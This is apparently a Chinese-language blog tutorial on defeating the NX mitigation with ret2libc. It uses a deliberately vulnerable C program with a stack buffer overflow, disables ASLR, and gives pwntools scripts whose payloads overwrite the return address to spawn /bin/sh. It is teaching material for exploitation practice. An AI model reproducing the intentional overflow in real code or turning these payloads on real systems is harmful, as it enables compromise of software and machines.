程序：
1.c
#include <stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
0x01 NX介绍
溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段，转而让系统去执行。
NX缓解机制开启后，使某些内存区域不可执行，并使可执行区域不可写。示例：使数据，堆栈和堆段不可执行，而代码段不可写。
2. 编译
gcc -Wall -g -o nx 1.c -fno-stack-protector -m32
没有使用 -z execstack ，所以数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。
关闭ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
我们用下面的程序执行获取权限，将会报错（我试了，这里就不贴图了），因为开启了NX保护机制。这是关闭NX获取权限的，我写在这篇文章上了：
https://blog.csdn.net/qq_41683305/article/details/105014197
from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0x8049172)
p.sendline(payload)
p.interactive()
0x03 原因
运行起nx,并保持运行状态，新打开一个终端，输入ps -a,查看nx的pid，然后执行cat /proc/52799/maps
发现stack不可以执行，我们的shellcode不可以执行了
0x04 ret2libc
ret2libc即控制函数执行libc中的函数，通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。
一般情况下，我们会选择执行system("/bin/sh")，在不存在ASLR(地址随机化)的情况下，可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。
布局完成后，返回地址return_addr被覆盖为libc文件里的system函数地址，当运行到esp位置时，会跳转到system中执行，同时，esp指向esp+4，这时对system来说，它内部的ret(返回地址)执行时esp指针还是指向esp+4的，也就是esp + 4(0xdeadbeef)就是system函数的返回地址，而esp+8则是它的参数
注：对于不想使程序崩溃，可以将esp+4的覆盖为exit函数的地址
0x06 找地址
先执行start，运行我们的程序，然后输入下图内容，找到system和exit地址
接着找/bin/sh地址
我用的是第一个地址，成功了，后面两个我没有尝试
三个地址都找到了，修改我们的poc程序：
1.py
# -*- coding: utf-8 -*-
from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0xf7e13660)
payload+=p32(0xf7e066f0)
payload+=p32(0x56557008)
p.sendline(payload)
p.interactive()
接着执行，成功获取权限
0x08 总结
Ret2Libc虽然把数据放在了不具备可执行权限的栈上，但成功执行了shellcode，这是因为只是把输入数据当做纯数据来间接劫持程序的执行流。
这个程序的成功执行得利于关闭ASLR，system和exit函数的地址才能固定下来。我们构造poc才方便很多。
ret2libc的精髓之处在于，把ret addr修改成libc库中的函数地址，并且构造了system函数的参数。对于DEP防御来说，你不让我执行我的代码，我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。
参考：
https://www.jianshu.com/p/c90530c910b0
https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
